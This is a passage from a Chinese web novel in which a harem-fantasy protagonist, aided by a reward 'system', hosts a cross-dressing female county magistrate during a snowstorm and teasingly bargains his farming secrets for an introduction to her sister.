如果说慕容晴是一团燃烧的烈火,那她们姐妹俩,便是两朵在月下悄然绽放的白莲。
姐姐白梦夏身着一套淡粉色的泳衣,因怀着五个月的身孕,本就丰腴的身段更添了几分母性的光辉。
那泳衣恰到好处地托着她愈发饱满的曲线,小腹微微隆起,非但没有破坏美感,反而增添了一种惊人的韵味。
肌肤胜雪,在水汽的蒸腾下泛着一层淡淡的粉晕,温柔的眉眼低垂着。
妹妹白梦秋则是一身天水碧色,将她那娇俏玲珑的身段衬托得恰到好处。虽然也怀着身孕,但月份尚浅,小腹依旧平坦,越发显得身姿窈窕。
她和姐姐一样,羞得抬不起头,长长的睫毛像蝴蝶的翅膀一样颤抖着,清纯之中,又带着一丝不自知的诱惑。
姐妹二人并肩而立,一个温婉丰腴,一个娇俏可人,同样的绝色容颜,同样不胜凉风般的娇羞姿态,让江夜感觉自己仿佛看到了画中走出的仙子。
最后,一个娇小的身影才磨磨蹭蹭地,从门后探出半个身子,迟迟不肯完全走出来。
是林间雪。
她低着头,脸已经红得快要滴出血来,一双小手无措地攥着衣角,恨不得把自己缩成一团。
江夜柔声鼓励道:“雪儿,过来,没事的。”
听到他的声音,林间雪娇躯一颤,犹豫了许久,终于还是闭上眼,一鼓作气地走了出来。
当她完全暴露在江夜的视线中时,江夜只觉得一股热气直冲头顶。
林间雪身上是一套深紫色的泳衣。
这个颜色,将她那本就妩媚的风情衬托到了极致。
她不像慕容晴那般火爆,也不似白家姐妹那般清丽,她是一种独特的,如同熟透了的水蜜桃一般的饱满丰腴。
那泳衣的设计,完美地展现了她惊人的腰臀比例,毫无保留地呈现了出来。
她低着头,双臂环在胸前,一副快要哭出来的羞怯模样,这副姿态,配上她那极致妩媚的身段,却形成了一种让人血脉贲张的强烈
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反差。
这幅画面,美得让人窒息。
江夜只觉得口干舌燥,一股前所未有的满足感与征服感,从心底最深处喷薄而出。
“哈哈哈!”
他再也按捺不住,发出一阵畅快至极的大笑。
笑声中,他猛地从池中站起,带起一片水花,大步流星地走到四个尚在羞不可抑中的绝美尤物面前。
在她们的惊呼声中,江夜张开双臂,一手一个,将最羞涩的林间雪和最大胆的慕容晴抱抱起,手臂微微发力,就将她们整个儿地抱离了地面。
“啊!”
“夫君!”
两女惊呼出声,下意识地手脚并用,紧紧缠在了他的身上。
江夜感受着怀中温香软玉的触感,哈哈大笑着,转身大步走回温泉池。
白梦秋和白梦夏见此,犹豫了一下,也满脸羞涩的跟了上去。
“噗通!噗通!”
水花四溅,惊起一片娇呼与笑闹。
温热的泉水瞬间包裹住全身,那几乎要烧透他们的羞耻感,终于被舒适的暖意冲淡了许多。
四女的身体渐渐放松下来,取而代之的是一种前所未有的新奇感。
这种泳衣泡在水里,确实比累赘的亵衣舒服太多了,轻便得几乎感觉不到它的存在。
江夜心满意足地靠在光滑的池壁上,将最先缓过神来的慕容晴和白梦夏一左一右地揽入怀中。
白梦秋和林间雪也羞答答地靠了过来,一个帮他捏着肩膀,一个将剥好的橘子瓣喂到他嘴边。
江夜享受着四个绝色美人的温柔伺候,只觉得浑身上下每一个毛孔都舒坦到了极点。
人生至此,夫复何求。
第169章 活神仙出现
雪后初晴,清河县的官道上,覆盖的积雪正在冬日的阳光下开始融化。
一队官差护卫着一辆半新不旧的马车,在泥泞的湿地里艰难跋涉。
车轮深陷,每前进一寸,都要耗费巨大的力气,马匹喘着粗气,喷出的白雾在冷空气中久久不散。
马车内,一身青色官服的沈砚秋面沉如水。
她掀开车帘的一角,冰冷的目光扫过窗外。
沿途的村庄,景象凄惨得如出一辙。
被大雪压塌的茅草屋随处可见,露出黑洞洞的豁口。
幸存的村民蜷缩在残垣断壁下,用破布、烂草裹着身体,面黄肌瘦,眼神空洞而麻木,仿佛失去了灵魂的行尸走肉。
寒风吹过,卷起地上的残雪,也卷起了若有若无的、绝望的呜咽。
“大人,”一名随行的老吏在车外低声禀报,声音里透着浓浓的忧虑,“刚刚又路过一个李家村,村里报上来,一夜之间冻**七个,饿死的……还没数清。”
“嗯。”
沈砚秋应了一声,放下车帘,闭上眼,修长的手指无意识地捏紧了。
凤眸之中,忧色更浓,甚至还夹杂着一丝无力感。
她是青石县令,是这些百姓的父母官。
可在这天灾面前,她能做的却太少太少。
朝廷腐朽,赈灾的粮款层层盘剥,到了她手上已是十不存一。
靠着这点杯水车薪,如何能救这满目疮痍?
马车又颠簸了许久,车夫的声音从外面传来:“大人,前面就是稻花村了。”
稻花村……
沈砚秋心中一沉,对这个村子,她有些印象。
是个出了名的穷村,位置偏僻,土地贫瘠。
往年收成尚可的时候,村民都过得紧巴巴,如今遭了这样的大雪灾,只怕……情况会比她之前看到的那些村子更加糟糕。
她已经做好了看到又一个死气沉沉、满目疮痍的人间炼狱的准备。
然而,当马车缓缓驶入村口,透过车帘缝隙看到的第一眼景象,却让沈砚秋瞬间愣住了。
没有倒塌的房屋,没有麻木的灾民。
眼前,是一条被清扫得干干净净、几乎看不到积雪和烂泥的村路。道路两旁,一栋栋房屋虽然看得出陈旧,但屋顶的积雪都被清理干净,墙体也明显用新泥加固过,显得异常坚固。
最让她感到不可思议的是,几乎家家户户的烟囱里,都正升腾着袅袅的炊烟。
在这万物萧杀的寒冬,在这哀鸿遍野的灾年,这连绵不绝的炊烟,简直比金山还要耀眼,让人安心。
村民们三三两两地聚在路边,虽然身上穿的还是打着补丁的粗布衣裳,但个个精神饱满,脸上丝毫不见灾年应有的惊惶与菜色。
这……这是遭了雪灾的村子?
沈砚秋美眸中闪过一丝极致的诧异,她甚至以为是自己连日劳累,看花了眼。
车队进村的动静很快惊动了村民,村长王满仓得到消息,立刻带着几个村里的主事快步迎了上来。
“草民王满仓,见过县尊大人!”王满仓局促地行了一礼。
沈砚秋下了马车,目光快速扫过眼前这个精神矍铄的老人,以及他身后几个同样面色红润的村民,心中的疑惑更深了。
“王村长,不必多礼。”她压下心中的惊异,开门见山地问道,“本官前来巡查雪灾灾情,村里情况如何?可有房屋倒塌?可有人员伤亡?”
听到这话,王满仓顿时咧开嘴,脸上露出笑容,声音里带着自豪:“回大人的话!托江先生的福,我们稻花村,无一人伤亡,无一间房倒塌!家家户户都有柴烧,有热饭吃!”
王满仓的话,让沈砚秋心神巨震。
清河县地界内,何时出了这样一位手眼通天的人物,能带领村民们安稳度过雪灾?
“这位江先生,是何人?”
她这一问,仿佛点燃了引线。
周围闻讯赶来看热闹的村民们瞬间就炸开了锅,七嘴八舌地嚷嚷起来,朴实的脸上,都带着一种崇拜。
“大人您是不知道,俺们江先生那可是活神仙下凡!”
“对对对!大雪来之后,就是江先生教俺们加固房子,不然俺们这村早塌了一半了!”
“何止啊!江先生还造出了‘火龙’,就跟城里大户人家的地龙一样,不,比地龙还厉害!都不用烧炭,烧点柴火,一整间屋子
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都暖和得跟春天似的!”
“还有温泉!江先生给咱们全村建了两个大汤池子,跟话本里神仙泡的一样,自己就会冒热水!俺们现在天天都能泡热水澡!”
改房造屋……建地龙……修汤池……
沈砚秋听着村民们口中一个个离奇到近乎荒诞的词语,脸上的诧异,转变为震惊。
这些话,从任何一个头脑清醒的人听来,都像是天方夜谭。
可眼前这些村民脸上那发自肺腑的狂热与感激,却又不像是在作伪。
她深吸一口气,压下心头的惊涛骇浪,目光重新落在王满仓身上,语气严肃了几分:“老丈,你带本官去看看。”
“哎!好嘞!大人您这边请!”
王满仓高声应着,脸上满是与有荣焉的自豪。
他在前面引路,带着沈砚秋一行人,走进了旁边最近的一户人家。
户主是个憨厚的汉子,见到县令大人亲至,有些手足无措,但更多的还是激动和自豪。
沈砚秋刚一踏进门槛,一股温暖如春的融融暖意便扑面而来,瞬间驱散了她身上所有的寒气。
屋外的天寒地冻,与屋内的温暖干爽,简直判若两个世界。
她环顾四周,屋子不大,陈设简陋,但地面干爽洁净,空气中没有一丝潮湿发霉的霉味,只有一股淡淡的柴火暖香。
她的目光,最终落在了那连着灶台、盘踞了半个屋子的土炕和旁边的土墙上。
在王满仓和那户主激动的介绍下,沈砚秋缓缓伸出纤纤玉手,轻轻地抚摸上那看似平平无奇的土墙。
温热的触感,从指尖传来。
不是灶火旁那种炙热的烫,而是一种均匀的温热。
她又走到炕边,伸手摸了摸炕面,同样是温热的。
这股热意,仿佛是从墙体和土炕的内部,源源不断地散发出来,将整个屋子都烘烤得暖意融融。
这……这怎么可能?
沈砚秋的美眸一点点瞪圆,她出身不凡,见识过京城最顶级的豪门贵府里,用银霜炭供暖的昂贵地龙。
可那些地龙,也绝无可能做到如此效果!
更何况,这东西,竟是靠烧柴火就能驱动?
第170章 这个姐姐好漂亮!
沈砚秋深吸一口气,压下心中的骇然。
她目光从温热的土墙上移开,重新落在王满仓身上,声音郑重:“王村长,这位江先生,究竟是何方神圣?”
王满仓见县尊大人如此惊讶,那份与有荣焉的自豪感几乎要从胸膛里溢出来。
他挺直了腰杆,绘声绘色地讲了起来:“大人,要说起俺们江先生,那故事可就长了!那可是真神人!”
“数月前,山里有头吊睛白额的猛虎,凶得很!是江先生,独自一人进山,没过多久,就拖着那异虎回来了!”
“还有之前县里组织冬猎,结果遇上了狼群,几十头啊!把县里冬猎队的人都给围住了,眼看就要出大事!又是江先生,带着俺们村六个后生,硬生生将那些畜生都杀了,把所有人都给救了出来!”
“还有还有,前些日子,江先生带人猎了头万斤重的野猪!那家伙,装了十几个雪橇!”
王满仓说得唾沫横飞,周围的村民也纷纷附和,每个人脸上都洋溢着发自内心的崇拜和感激。
独斗异虎……率众灭狼群……猎杀万斤野猪……
沈砚秋听着这些堪比传奇话本的故事,心头的惊涛骇浪一波接着一波。
尤其是听见“率众灭狼群”这一句。
让她瞬间想起了,数月前县衙冬猎,确实遭遇了大规模狼群围困,损失惨重。
事后,幸存的猎户和捕快在报告中,都提到了一个关键人物。
一个叫江夜的年轻村民,箭术出神入化,百步穿杨,正是他带领几个人猎杀了那狼群,才让他们得以逃出生天。
当时她还对此人的评价极高,只是公务繁忙,未曾亲自召见过。
江夜……江先生……
两个名字在她心中重合,所有的线索瞬间串联起来。
原来,竟是同一个人!
一个能造出“火龙”这等神物的工匠,同时又是一个武艺高强的猛士?
这世上,真有如此文武全才的奇人?
沈砚秋对这个“江先生”的好奇心,在这一刻达到了顶点。
她当即做出决定,语气不容置疑:“王村长,带本官去拜访这位江先生。”
“哎!好嘞!”王满仓高声应下,立刻在前面引路。
江夜的宅院坐落在村子最里侧,青砖黛瓦,在周围一片土坯房的映衬下,显得格外气派。
还未走近,一阵阵整齐划一、气势如虹的呐喊声便顺着寒风传来。
“喝!”
“哈!”
只见宅院前的空地上,几十名身穿统一短打劲装的汉子,正手持木棍,列成方阵进行操练。
他们动作整齐,吼声如雷,一招一式都带着一股子凌厉的杀气。
这些人,正是王囤带领的护院队。
沈砚秋的脚步微微一顿,瞳孔骤然收缩。
她麾下的县衙捕快,论精神面貌、论气势,竟还不如眼前这些由村民组成的护院队!
她心中的评价,再次被拔高了数个层次。
王满仓显然对这阵仗**以为常,他小跑着上前,对着门口站岗的护院说明了来意。
那护院看了沈砚秋一行人一眼,随即转身入内通报。
片刻之后,护院返回,对着王满仓和沈砚秋做了个“请”的手势:“江先生有请。”
沈砚秋整理了一下官服,迈步踏入院门。
刚一进去,她整个人彻底呆住了。
眼前是一座布局精巧的三进大院,脚下是平整的青石板路,院中假山流水,花木扶疏,完全不似乡野农居,反倒像是江南大户人家的精致园林。
视线越过前院,能看到后院里升腾着一片氤氲的白色水汽,隐隐有水声传来,竟是在这冰天雪地里,造出了一方露天温泉!
这……这真的是一个村夫能拥有的居所和手段吗?
这人
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到底是何方神圣?
就在沈砚秋心神剧震之际,一道银白色的影子从屋里“嗖”地一下窜了出来,快如闪电,瞬间就到了她的面前。
“大人小心!”
随行的两名衙役大惊失色,想也不想便拔出腰刀,护在沈砚秋身前。
然而,那银白色的异兽却对明晃晃的刀刃视而不见。
它正是团子。
团子围着沈砚秋好奇地转了两圈,小巧的鼻子在她身上用力地嗅了嗅,似乎闻到了什么极好闻的气味。
紧接着,它屁颠屁颠地跑到旁边的花坛里,也不知从哪叼来一根色彩斑斓的漂亮羽毛,宝贝似的放在了沈砚秋的脚边,然后抬起头,银色的尾巴摇得欢快。
这……
官差们面面相觑,握着刀的手都僵住了。
沈砚秋看着这极通人性、漂亮得不像凡物的异兽,眼中满是惊奇之色。
就在这时,一个略带慵懒,却又充满磁性的男子声音从正屋里传了出来。
“团子,回来,别吓到客人了。”
那叫团子的小兽听到声音,委屈地“呜咽”一声,叼起地上的羽毛,一步三回头地跑回了屋里,仿佛受了天大的委屈。
随着声音,一个身穿家常棉袍的年轻男子踱步而出。
只来人身形挺拔,面容俊朗,眼神深邃,身上有种说不出的从容与淡然。
正是江夜。
他刚享受完美人环绕的温泉浴,正准备小憩片刻,就听到了县令到访的消息。
江夜的目光落在沈砚秋身上,上下打量了一下。
一身青色官服,身姿挺拔,面容俊秀,眉宇间带着一股英气,只是大概因为连日奔波,脸色有些疲惫。
确实是个难得的美男子。
然而下一秒,一道只有他能听见的意念,从刚跑回屋的团子那里传了过来。
“主人主人!这个姐姐好漂亮!身上香香的!”
第171章 女扮男装的县太爷?
江夜听到团子的心声动作微微一顿,深邃的目光落在了眼前这位“沈大人”的身上。
刚才团子的意念传音,清晰无比。
这小东西的嗅觉和感知力远超常人,它既然说是“姐姐”,那就绝不会错。
他重新审视着眼前的“男人”。
一身青色官服穿在她身上,显得有些宽大,衬得身形愈发挺拔修长。
面容确实俊秀,剑眉入鬓,凤眸狭长,带着一股天生的威仪和英气。
可当江夜带着探究的意味仔细看去时,破绽便显露了出来。
她的皮肤太过细腻光洁,下颌线上找不到一丝青色的胡茬痕迹。
再往下,一身青色官服剪裁得宽松,但依旧无法完全遮掩住胸前的起伏。
身形高挑匀称,却少了男子应有的宽阔骨架,反而透着一股女性独有的柔韧。
原来如此。
江夜心中了然,嘴角的弧度不自觉地向上勾起,带上了一抹玩味的笑意。
女扮男装的县太爷?
有意思,真是有意思。
就在他心思转动之际,脑海中,那冰冷的机械提示音毫无征兆地响起。
【叮!检测到极品鼎炉:沈砚秋!】
【体质:玄阴凤体(万中无一)】
【成功将其开枝散叶,宿主将获得超凡奖励:现代**库(初级)*1!强烈建议宿主拿下!】
一连串的系统提示,如同惊雷在江夜脑中炸开。
他脸上的表情依旧是那副云淡风轻的模样,但内心早已掀起了滔天巨浪。
现代**库?!
江夜的呼吸都差点停滞。
在这个冷兵器时代,这意味着什么,他比任何人都清楚!
那将是碾压一切的力量!
是足以颠覆王朝,重定乾坤的绝对王牌!
他强行压下心头的狂喜与震动,只是淡淡地点了点头,对面前这位尚不知自己已经彻底暴露的“沈大人”做了个“请”的手势。
“沈大人,外面天寒,进屋喝杯热茶吧。”
沈砚秋也在观察江夜。
眼前的男人,俊朗得不像乡野村夫,更让她心惊的是他那份从容。
面对自己这个朝廷命官,他身上没有半分寻常百姓的谄媚与畏惧,那双深邃的眼睛仿佛能洞悉人心。
那是一种……仿佛一切尽在掌握的眼神。
她心中愈发惊疑不定。
这种气度,绝非常人所能拥有。
她压下心中的思绪,点了点头,跟着江夜迈步走入正堂。
一进屋,一股暖意便将众人包裹。
客厅宽敞明亮,陈设算不上奢华,却处处透着一股别致的匠心。
众人刚刚落座,屏风后便转出几道身影。
当先一人,正是怀着身孕,身段愈发丰腴温婉的白梦夏。
她身后跟着身姿火辣,眉眼间自带一股媚意的慕容晴。
再之后,是娇俏玲珑的白梦秋和柔弱中透着惊人丰满的林间雪。
四女手中各端着托盘,上面是刚沏好的热茶。
她们的出现,仿佛让这温暖的厅堂瞬间又明亮了几分。
沈砚秋身后的老吏和衙役们,当场就看傻了眼,一个个张大了嘴,眼珠子都快瞪了出来。
乖乖!这……这是什么神仙日子!
这四个女子,任何一个放在县城里,都足以引得无数富家公子哥争破头,可在这里,竟然……竟然全都属于同一个人?
沈砚秋看着那四个国色天香、气质各异的绝色女子,她们看向江夜的眼神里,都带着毫不掩饰的爱慕与依赖。
而江夜坐在主位上,神情坦然,仿佛这一切都理所当然。
一时间,沈砚秋的凤眸中,闪过一丝极其复杂难明的光芒。
她为了心中的抱负,舍弃女儿身,在官场这个男人的世界里步步为营,如履薄冰。
可眼前这个男人,却在这乱世之中,于这乡野之地,活得如此肆意洒脱,坐拥无边春色
她佩服江夜的通天之能,能在这灾年护佑一方,但同时,心中又升起一丝说不清道不明的观感。
此人……未免也太懂得享乐了些。
四女奉上茶后,便知趣地退到了一旁。
“大人,请用茶。”
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江夜抬手示意。
沈砚秋端起茶杯,浅酌一口,暖意顺着喉咙滑入腹中,驱散了些许寒意。
她放下茶杯,开门见山:“江先生,本官今日巡查灾情而来,未曾想稻花村竟是这般景象。那火龙与温泉,皆是先生手笔?”
江夜淡然一笑:“不过是些求生的小伎俩,让大人见笑了。”
“小伎俩?”沈砚秋微微挑眉,“先生太过自谦了。你可知,你这些‘小伎俩’,若是能在全县推广开来,能救活多少在寒冬中挣扎的百姓?”
她的语气恳切,眼中是真真切切的忧国忧民。
江夜心中微动,这女人,倒是个真心为民的好官。
正当他准备说些什么时。
一名负责看守马车的衙役冲了进来,脸上满是焦急与骇然,身上落满了雪花。
“大人!不好了!”
“外……外面彻底看不见路了!风雪太大,刚才去探路,发现进村的山路……被新塌下来的积雪和山石,彻底给堵**!马车根本过不去!”
什么?!
沈砚秋的几名随从瞬间脸色一变。
沈砚秋“霍”地一下站起身,快步走到窗边,推开一条缝隙。
“呜——”
一股夹杂着冰晶的狂风瞬间灌了进来,吹得她脸颊生疼。
放眼望去,门外已是白茫茫的一片,天地之间,除了疯狂舞动的暴雪,再也看不到任何东西,能见度不足三尺。
看着这遮天蔽日的恐怖暴雪,沈砚秋的一颗心,缓缓沉了下去。
她知道,今晚,是绝对走不了了。
就在众人心急如焚之际,江夜那不疾不徐的声音,再次悠悠响起。
“看这天气,一时半会儿是停不了了。”
他放下茶杯,神情淡然地看着面带忧色的沈砚秋,嘴角噙着一丝若有若无的笑意。
“沈大人若是不嫌弃,今晚便在寒舍暂住一晚吧。”
事到如今,别无他法。
沈砚秋紧锁着眉头,沉默了片刻,最终只能无奈地点了点头。
“如此,便只能叨扰江先生了。”
第172章 县令大人,可有妹妹?
晚饭时分,江夜家的正堂里灯火通明,暖意融融。
一张硕大的八仙桌上,摆满了丰盛至极的菜肴。
正中央是一大盆红烧肉,色泽红亮,肥瘦相间,浓郁的肉香霸道地占据了整个空间。
旁边,一坛刚刚开封的虎骨酒,琥珀色的酒液在灯火下流光溢彩,光是闻着那股混杂着药香的醇厚酒气,就让人通体舒泰。
然而,这些都比不上桌子最中央,那一盘菜肴带来的冲击。
那是一盘……青菜。
一盘炒得油光翠绿,仿佛还带着清晨露珠的青菜。
在这冰封**的严冬,在这连树皮草根都难以寻觅的灾年,一盘新鲜的绿叶菜,其价值,甚至远超黄金。
沈砚秋的随从们,包括那名上了年纪的老吏,全都直勾勾地盯着那盘青菜,脸上是全然的呆滞,仿佛看到了什么神迹。
“这……这是……”一名年轻的衙役忍不住喃喃出声,喉结上下滚动,口水疯狂分泌。
沈砚秋也怔住了,一双凤眸死死锁住那盘翠绿,心中翻江倒海。
身为县令,她比任何人都清楚,在这样的时节,这样一盘青菜意味着什么。
那不仅仅是食物,那代表着一种完全无视天时节令的、匪夷所思的手段。
白梦夏见状,温婉一笑,主动起身,为沈砚秋夹了一筷子青菜,放到她面前的瓷碟里。
“沈大人,尝尝吧,这是相公自己种的。”
自己种的?
沈砚秋心头的震动更甚,她拿起筷子,夹起一根青菜送入口中。
“咔嚓。”
清脆的口感,在齿间爆开。
一股属于蔬菜独有的、带着一丝清甜的汁水瞬间溢满口腔,那鲜嫩爽口的滋味,仿佛将春天的气息,直接带到了舌尖。
连日来因啃食干粮而麻木的味蕾,在这一刻被彻底唤醒。
好吃!
这滋味,比她在京城时,用暖房精心培育出的冬日贡菜,还要鲜美数倍!
“大人,也尝尝这虎骨酒吧。”江夜亲自为她斟满一杯,笑着示意。
酒香扑鼻。
沈砚秋压下心中的惊涛,端起酒杯,一饮而尽。
“轰!”
辛辣的酒液顺着喉咙滑入腹中,下一秒,一股磅礴浩荡的暖流,猛地从丹田炸开,瞬间涌向四肢百骸!
那股暖流所过之处,连日奔波积攒的疲惫,以及深入骨髓的寒气,竟被一扫而空。
整个人仿佛泡在了温泉里,每一个毛孔都舒张开来,精神前所未有的清明与振奋。
“好酒!”
沈砚秋忍不住脱口赞道,原本因疲惫而略显苍白的俊秀脸庞上,也泛起了一层健康的红晕。
她放下酒杯,再看向江夜时,那探究的意味更浓了。
这个男人身上的秘密,远比她想象的还要多,还要深不可测。
只是,沈砚秋并未沉浸于美食与美酒之中。
她心中记挂的,始终是治下万民的生死。
她放下筷子,神情严肃地看向江夜,主动挑起了话头。
“江先生,今日有幸尝到这般人间珍馐,本官佩服之至。只是……”
她话锋一转,秀气的眉头紧紧蹙起,忧虑之色溢于言表。
“只是这大雪封山,不知何时能停。如今各村各户的存粮都已见底,土地冰封三尺,来年的春耕,只怕……唉……”
一声长叹,道尽了无尽的忧愁。
“若是开春无法播种,届时青黄不接,流民四起,整个青石县,怕是要生灵涂炭,后果不堪设想啊!”
沈砚秋的话,让桌上的气氛瞬间沉重下来。
她的几名随从脸上也露出愁容,就连白梦夏四女,也感同身受地停下了筷子,为那些素未谋面的百姓担忧。
唯有江夜,神情没有半分变化。
他依旧是一副云淡风轻的模样,甚至还有闲心给身边的白梦夏夹了一块肥瘦相间的红烧肉。
“娘子多吃点,你现在是一个人吃,两个人补。”
白梦夏俏脸一红,娇嗔地白了他一眼,却还是乖乖地吃下了那块肉。
江夜这才慢条斯理地放下筷子,端起酒杯,对着满面愁容的沈砚秋,淡淡开口。
“大人何必如此忧心?”
“俗话说,瑞雪兆丰年。这场大雪,在我看来,要是处理得当,非但不是灾祸,反倒是天赐的祥瑞。”
祥瑞?
沈砚秋愣住了。
她的随从们也面面相觑,觉得这位江先生是不是喝多了,在说胡话。
人都快冻死饿**,还祥瑞?
江夜仿佛看穿了他们的心思,嘴角勾起一抹浅笑,不疾不徐地解释起来。
“这厚厚的积雪,便是一层最好的棉被,能为土地保暖,使地下的害虫冻死大半。”
“待到开春雪融,这雪水
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渗入土地,更是最上等的‘无根之水’,比寻常的河水更能滋养田地,使其变得肥沃。”
“至于大人担心的春耕,只要方法得当,开春之后,育好良种,辅以深耕之法,再施加些特殊的料,来年的收成,只会比往年更好,绝不会差。”
保暖……杀虫……滋养田地……
育种……深耕……
江夜口中一个个闻所未闻,却又似乎蕴含着某种至理的词语,不断冲击着沈砚秋的认知。
她越听,那双凤眸便睁得越大,眼中的光芒也越来越亮。
从最初的惊疑,到中途的震撼,再到最后,她整个人都前倾着身子,呼吸都不自觉地急促起来。
江夜描绘的,是一幅她从未想象过的农业蓝图!
当江夜最后放下酒杯,更是投下了一记重磅**。
“而且,我还有秘法,可以让冰封的冻土在短短数日内快速解冻,恢复耕种。”
“另外,我这里还有一种特制的‘神肥’,只需一点点,便能让田里的庄稼,产量凭空翻上一番!”
产量,翻番!
这四个字,如同九天惊雷,在沈砚秋的脑海中轰然炸响!
她再也坐不住了。
“噌!”
沈砚秋猛地一下站起身来,因为动作太过急促,身下的椅子被带得向后翻倒,“哐当”一声砸在地上。
可她对此毫不在意。
她一双明亮的凤眸死死地盯着江夜,那张俊秀的脸庞因为极致的激动而涨得通红,连声音都带着一丝无法抑制的颤抖。
“江先生!此话当真?!”
“你……你说的这些,若能献于朝廷,推广天下,可活人无数,乃是功在社稷、利在千秋的无上功德啊!”
“本官……本官恳请先生,将此法……献出来!”
她对着江夜,竟是深深地躬身一揖。
厅堂内,所有人都被她这突如其来的举动惊呆了。
堂堂一县之尊,竟对一个乡野村夫行此大礼!
江夜看着面前激动得浑身轻颤的沈砚秋,脸上那玩味的笑意,愈发浓郁。
他慢悠悠地端起酒杯,又慢悠悠地放下。
在沈砚秋期盼的注视下,他不答反问,声音里带着一丝让人捉摸不透的笑意。
“沈大人,先别急着谈国事。”
“我倒是想问问,大人家里……可有待字闺中的妹妹?”
第173章 荒唐!无耻!下流!
江夜这话一出,沈砚秋整个人都愣住了,一双凤眸里满是茫然。
她脑子里还在回响着“产量翻倍”、“活人无数”,心神激荡,完全没明白江夜这风马牛不相及的问题是什么意思。
妹妹?
他问这个做什么?
江夜看着她那难得一见的、带着几分呆滞的俊秀面容,嘴角的笑意更深了。
他目光懒洋洋地扫过自己身边环绕的四位绝色孕妻,那眼神里的满足与惬意毫不掩饰,随即意有所指地笑道:“江某身边,虽有她们陪伴,却总觉得还缺一位能说上话的知心人。”
说到这里,他的目光重新落回沈砚秋身上,那眼神玩味十足。
“若大人能为在下介绍一位……嗯,如大人这般英姿飒爽、不让须眉的妹妹。那‘神肥’之法,乃至开春解冻之策,江某,定当双手奉上。”
“轰——!”
沈砚秋的脑子仿佛被一道惊雷劈中。
她顺着江夜刚才的目光,看到了那四个千娇百媚的女子,再听到这句轻佻至极、充满暗示的话,瞬间什么都明白了。
一股难以言喻的羞辱感,猛地从心底窜起,直冲天灵盖!
她是谁?
她是朝廷命官!
可在这个男人眼里,她竟然成了可以用来讨价还凡,为他物色女人的掮客?
他竟敢拿全县百姓的性命,来要挟她,让她为他介绍女人!
荒唐!无耻!下流!
沈砚秋的脸色在一瞬间由红转白,再由白转青,那双原本燃烧着希望火焰的凤眸,此刻只剩下冰冷的寒霜与毫不掩饰的鄙夷。
“呵。”
一声极轻的冷笑,从她唇边溢出。
她缓缓坐了回去,端起桌上的酒杯,一双眼睛冷冷地盯着江夜,吐出两个字:
“没有。”
这两个字,不带一丝一毫的温度。
厅堂内原本就有些凝滞的气氛,瞬间降到了冰点。
白梦夏几女也察觉到了不对劲,担忧地看向江夜。
然而,江夜却仿佛丝毫没有感受到沈砚秋的怒火。
他依旧是那副云淡风轻的模样,仿佛刚才那番足轻佻的话,不过是个无伤大雅的玩笑。
他转过头,又夹了一块炖得晶莹剔透的红烧肉,细心地吹凉,然后喂到白梦夏的嘴边,柔声问道:“还想吃点什么?”
这种的无视,比任何激烈的言辞都更具杀伤力。
沈砚秋感觉自己胸中的那团怒火,烧得更旺了。
为了天下黎民,她甘愿舍弃女儿身,在官场摸爬滚打,宵衣旰食。
可眼前这个男人,坐拥解救万民的经天纬地之才,却只想着充实自己的后院,享乐人间!
强烈的反差,让她心中的怒火烧得更旺。
沈砚秋猛地端起桌上的酒杯,将那辛辣中带着暖意的虎骨酒一饮而尽,酒液划过喉咙,像是带起了一团火。
她重重放下酒杯,从此再不看江夜一眼,也不再动一下筷子。
这顿晚宴,就在这样诡异的沉默中草草结束。
江夜擦了擦嘴,仿佛什么都没发生过一般,对一旁的林间雪吩咐道:“雪儿,去给沈大人和几位官爷安排客房休息。”
“是,夫君。”林间雪柔声应下。
沈砚秋“霍”地站起身,对着江夜僵硬地拱了拱手,连“多谢”二字都懒得说,便冷着脸,带着自己的随从,头也不回地跟着林间雪离去。
……
卧房内,暖意融融。
白梦夏一边温柔地为江夜更衣,一边担忧地小声问道:“夫君,您今日……是不是把县尊大人得罪得太狠了?我看他走的时候,脸色好吓人。”
慕容晴也在一旁
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哼了一声:“那小白脸县令看着文文弱弱,脾气倒是不小。不过你真打算用神肥去换他妹妹啊?”
江夜闻言,哈哈一笑,伸出双臂,将白梦夏和慕容晴一把揽入怀中。
“无妨。”他左拥右抱,享受着齐人之福,脸上挂着一丝高深莫测的笑意,“一个……端着架子的小家伙罢了,我不过是逗逗他。”
他顿了顿,在两女娇嫩的脸颊上各亲了一口,笑道:“走,天气虽冷,但咱们家的汤池子可是热的。为夫带你们泡温泉去。”
……
后院,露天温泉在漫天飞雪的映衬下,宛如仙境。
氤氲的白色水汽升腾着,将周围的景物都笼罩上一层朦胧的纱衣。
水面上飘着鲜红的花瓣和散发着异香的药草,与池边的皑皑白雪形成了鲜明的对比。
四女很快换上了江夜为她们特制的,名为“比基尼”的清凉衣物,小心翼翼地滑入水中。温热的池水包裹住身体,驱散了所有的寒意。
她们在水中嬉戏打闹,娇媚的笑声在寂静的雪夜里,清脆地传出很远。
江夜斜靠在用光滑卵石砌成的池边,闭着眼,享受着慕容晴为他按摩肩膀的力道,张嘴接住白梦夏递过来的一颗剥好的蜜橘,惬意到了极点。
而与此同时。
被安排在西厢客房的沈砚秋,却正对着一盏孤灯,心乱如麻。
她脑中,反复回响着江夜在饭桌上说的那些话。
“产量翻上一番,不成问题。”
这句话带着无与伦比的诱惑,在她心头盘旋不去。
那是拯救万民的希望,是平定春荒的曙光!
可紧接着,江夜那张带着玩味笑意的俊朗面容,和他那句轻佻无礼的调笑,便又浮现在眼前。
“……介绍一位如大人这般英姿飒爽的妹妹……”
第174章 厉害得让人没脾气
沈砚秋在屋中来回踱步,越想越气。
“这个无赖!”
“竟敢拿一县之民生,来与本官谈条件!”
她自幼饱读圣贤之书,所见所闻皆是君子之道、家国大义,何曾见过江夜这般人物?
有经天纬地之才,却偏偏耽于享乐,行事乖张,毫无半点风骨和为民的觉悟。
就在这时,一阵若有若无的女子嬉笑声,伴随着水声,穿透了窗外的风雪,隐隐约约地钻入她的耳中。
那笑声娇媚清脆,充满了欢愉,在这死寂的雪夜里,显得格外清晰。
沈砚秋的脚步一顿,眉头紧紧皱起。
她走到窗边,向着声音传来的后院望去。
只一眼,她整个人便僵住了。
只见那片被皑皑白雪环绕的温泉池中,热气氤氲,水雾缭绕,宛如仙境。
而在那片朦胧的水汽里,一幕活色生香的景象,正赤裸裸地冲击着她的眼球。
江夜斜靠在池边,双臂张开,将白梦夏与慕容晴一左一右地揽在怀中。
而白梦秋和林间雪则像两条美人鱼,在水中嬉戏,不时将温热的池水泼向江夜,引得他哈哈大笑。
